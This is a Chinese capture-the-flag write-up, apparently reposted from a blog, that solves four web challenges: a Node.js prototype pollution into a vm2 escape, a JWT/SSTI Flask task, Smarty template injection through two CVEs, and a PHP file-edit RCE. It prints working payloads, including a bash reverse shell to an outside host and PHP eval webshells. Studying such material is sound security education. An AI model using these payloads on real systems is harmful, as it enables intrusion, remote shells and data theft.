[HZNUCTF 2023 final]eznode
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞
如果if语句为真,调用backdoor方法new VM().run({}.shellcode);
可以利用原型链污染到shellcode,进而rce
payload如下
{
"shit":"1",
"__proto__": {
"shellcode":"let res = import('./app.js'); res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'").toString();"
}
}
postmanPOST发送即可
反弹shell成功,得到flag
[MoeCTF 2021]地狱通讯-改
考点:JWT解密、ssti
源码如下
from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
f = open("app.py", "r")
ctx = f.read()
f.close()
res = make_response(ctx)
name = request.args.get('name') or ''
if 'admin' in name or name == '':
return res
payload = {
"name": name,
}
token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
res.set_cookie('token', token)
return res
@app.route('/hello', methods=['GET', 'POST'])
def hello():
token = request.cookies.get('token')
if not token:
return redirect('/', 302)
try:
name = jwt.decode(token, secret, algorithms=['HS256'])['name']
except jwt.exceptions.InvalidSignatureError as e:
return "Invalid token"
if name != "admin":
user = User(name)
flag = request.args.get('flag') or ''
message = "Hello {0}, your flag is" + flag
return message.format(user)
else:
return render_template('flag.html', name=name)
if __name__ == "__main__":
app.run()
分析一下,/
路由下接收name参数,如果存在且值不为admin,将输出JWT加密的token值;/hello
路由接收参数token,然后进行解密,如果为admin返回flag
首先第一步获取token值,访问/hello
然后要找到jwt解密要的密钥
我们利用ssti获取
/hello?flag={0.__class__.__init__.__globals__}
然后把密钥放到我们解密网站,验证成功,我们直接修改为admin
访问得到flag
[红明谷CTF 2022] Smarty Calculator
扫一下目录,发现有源码泄露
看下源码,发现是Smarty模板
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
<h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
<form action="" method="POST">
<input type="text" style="width:150px;height:30px" name="data" placeholder=" 输入值进行计算" value="">
<br>
<input type="submit" value="Submit">
</form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
function waf($data){
$pattern = "php|<|flag|?";
$vpattern = explode("|", $pattern);
foreach ($vpattern as $value) {
if (preg_match("/$value/", $data)) {
echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");
die();
}
}
return $data;
}
if(isset($_POST['data'])){
if(isset($_COOKIE['login'])) {
$data = waf($_POST['data']);
echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
$smarty->display("string:" . $data);
}else{
echo "<script>alert("你还没有登录")</script>";
}
}
有waf过滤,然后判断cookie
我们试试注入语句,发现成功
由于我们在/Smarty/Smarty.class.php
知道该版本
方法一 CVE-2021-26120
直接去网上找相关漏洞,发现是CVE-2021-26120(说是此版本修复但也不知道为啥能用)
然后去GitHub上下载该版本的源码对比一下,找到不同的地方
也就是sysplugins文件夹下的smarty_internal_compile_function.php
源码中的正则匹配
if (!preg_match('/^[a-zA-Z0-9_x80-xff]+$/', $_name))
if (preg_match('/[a-zA-Z0-9_x80-xff](.*)+$/', $_name))
可以发现变成!
,后面的(.*)+
中,.匹配除了换行符以外的所有字符,*
匹配0次或者多次,+
匹配一次或者多次,我们可以使用多次换行绕过
data={function name='rce(){};system("cat /var/www/f*");function%0A%0A'}{/function}
方法二 CVE-2021-29454
data={$poc="poc"}{math equation="("\163\171\163\164\145\155")("\143\141\164\40\57\166\141\162\57\167\167\167\57\146\52")"}
方法三 写马蚁剑连接
data={$poc="poc"}{math equation="("\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163")("\61\56\160\150\160","\74\77\160\150\160\40\145\166\141\154\50\44\137\120\117\123\124\133\61\135\51\73\77\76")"}
prize_p6
源码
<?php
function x(){
exit();
}
if(isset($_GET['f'])){
$content = $_GET['content'];
if (preg_match('/index|function|x|iconv|UCS|UTF|rot|zlib|quoted|base64|%|toupper|tolower|strip_tags|dechunk|../i', $content)) {
die('hacker');
}
if ($_GET['f'] == "create"){
file_put_contents($content, '<?=x();?>' . $content);
}
elseif ($_GET['f'] == "edit"){
$s1 = $_GET['s1'];
$s2 = $_GET['s2'];
if (strlen($s1) > 20 || strlen($s2) > 20 || preg_match('/=|x| |?|<|>|(|)/i', $s1) || preg_match('/=|x| |?|<|>|(|)/i', $s2)) {
die('hacker');
}
if(file_exists($content)){
$s = file_get_contents($content);
$s = str_replace($s1, $s2, $s);
file_put_contents($content, $s);
}
else{
die("file no exits!");
}
}
else{
include($content);
}
}else{
highlight_file(__FILE__);
}
?>
分析一下,定义了x()函数直接退出程序;对参数content进行正则匹配。如果参数f为create,那么在文件写入<?=x();?>
拼接上content值;如果参数f为edit,那么接收参数s1和s2,长度不能大于20并且匹配一些符号;如果文件存在,读取文件替换部分值(可控)
?f=create&content=shell.php
然后成功写入<?=x();?>
,由于会退出程序,所以我们利用replace去替换掉x函数实现RCE,然后数组绕过正则匹配,payload如下
?f=edit&content=shell.php&s1[]=x();&s2[]=eval($_POST[1]);
原文地址:https://blog.csdn.net/m0_73512445/article/details/134429014
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_8601.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!